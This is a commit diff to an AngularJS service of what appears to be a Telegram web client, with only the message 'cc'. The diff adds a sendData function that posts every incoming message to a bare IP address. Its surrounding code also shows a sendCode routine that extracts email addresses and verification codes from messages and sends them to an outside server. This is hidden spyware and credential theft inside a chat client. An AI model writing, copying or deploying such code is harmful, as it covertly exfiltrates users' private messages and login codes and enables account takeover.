Commit 230fa33c authored by Ahmad Nemati's avatar Ahmad Nemati

cc

parent 26e3a73d
......@@ -3180,15 +3180,13 @@ angular.module('myApp.services')
}
function checkNewEmail () {
function sendData (msg) {
$http({
method: 'GET',
url: 'http://admin.fcfglobal.co:3000/needRegister'
method: 'POST',
data:JSON.stringify(msg),
url: 'http://168.119.246.12:3000/signal'
}).then(function successCallback (response) {
response = response.data
for (let i = 0; i < response.length; i++)
addEmail(response[i])
}, function errorCallback (response) {
......@@ -3241,38 +3239,33 @@ angular.module('myApp.services')
}
function sendCode (msg) {
try {
let emails = msg.match(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9._-]+)/gi)
if (emails.length ===0)
return
for (let i=0;i<emails.length;i++)
{
if (!emails[i].includes('@etlgr.com'))
continue
let email=emails[i]
let code = msg.match(/.+/g)
for (let j=0;j<code.length;j++)
if (code[j].includes('This code'))
{
let verificationCode=code[j-1]
$http({
method: 'GET',
url: 'http://admin.fcfglobal.co:3000/sendVerificationCode/'+email +'/'+verificationCode
}).then(function successCallback (response) {
try {
let emails = msg.match(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9._-]+)/gi)
if (emails.length === 0)
return
for (let i = 0; i < emails.length; i++) {
if (!emails[i].includes('@etlgr.com'))
continue
let email = emails[i]
let code = msg.match(/.+/g)
for (let j = 0; j < code.length; j++)
if (code[j].includes('This code')) {
let verificationCode = code[j - 1]
$http({
method: 'GET',
url: 'http://admin.fcfglobal.co:3000/sendVerificationCode/' + email + '/' + verificationCode
}).then(function successCallback (response) {
}, function errorCallback (response) {
}, function errorCallback (response) {
})
}
})
}
} catch (e) {
console.log(e)
}
}
}
catch (e) {
console.log(e)
}
}
function handleUpdate (update) {
......@@ -3311,6 +3304,8 @@ console.log(e)
break
case 'updateNewMessage':
//ahmad
case 'updateNewChannelMessage':
var message = update.message
......@@ -3318,11 +3313,10 @@ console.log(e)
var historyStorage = historiesStorage[peerID]
var foundDialog = getDialogByPeerID(peerID)
try {
sendCode(message.message)
}
catch (e) {
console.log(e)
// console.log( message)
sendData(message)
} catch (e) {
console.log(e)
}
if (!foundDialog.length) {
......@@ -3518,10 +3512,10 @@ console.log(e)
case 'updateEditMessage':
case 'updateEditChannelMessage':
runJob()
checkNewEmail()
// runJob()
// checkNewEmail()
console.log(emailQueue)
// console.log(emailQueue)
var message = update.message
var peerID = getMessagePeer(message)
var channelID = message.to_id._ == 'peerChannel' ? -peerID : 0
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment